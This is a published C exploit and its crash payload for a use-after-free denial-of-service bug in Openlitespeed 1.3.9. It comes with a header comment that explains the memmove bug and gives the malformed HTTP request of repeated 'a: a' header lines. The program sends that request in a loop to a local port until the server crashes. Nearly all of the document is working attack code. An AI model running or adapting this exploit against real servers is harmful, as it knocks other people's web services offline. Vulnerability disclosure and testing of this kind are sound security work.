1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
/* * Openlitespeed 1.3.9 Use After Free denial of service exploit. * * This exploit triggers a denial of service condition within the Openlitespeed web * server. This is achieved by sending a tampered request contain a large number (91) * of 'a: a' header rows. By looping this request, a memmove call within the HttpReq * class is triggered with a freed pointer, resulting in a reference to an invalid * memory location and thus a segmentation fault. * * UAF Request: * GET / HTTP/1.0 * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * a: a * * The above request should be placed into a file name 'uafcrash' prior to running this * exploit code. * * Date: 24/03/2015 * Author: Denis Andzakovic - Security-Assessment.com * */ #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <arpa/inet.h> #include <errno.h> extern int errno; int main(int argc, char ** argv){ FILE * fp; size_t len = 0; char * line; if((fp = fopen("uafcrash", "r")) == NULL){ fprintf(stderr, "[!] Error: Could not open file uafcrash: %s", strerror(errno)); return 1; } char * host = "127.0.0.1"; int port = 8088; int count = 0; int sock; struct sockaddr_in serv_addr; while(1){ if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){ fprintf(stderr, "[!] Error: Could not create socket \n"); return 1; } serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(port); inet_pton(AF_INET, host, &serv_addr.sin_addr); if(connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0){ fprintf(stderr, "[!] Error: Could not connect! Check for server crash! Total cases sent:%d\n", count); close(sock); return 1; } while ((getline(&line, &len, fp)) != -1){ write(sock, line, strlen(line)); } close(sock); rewind(fp); count++; } return 42; } |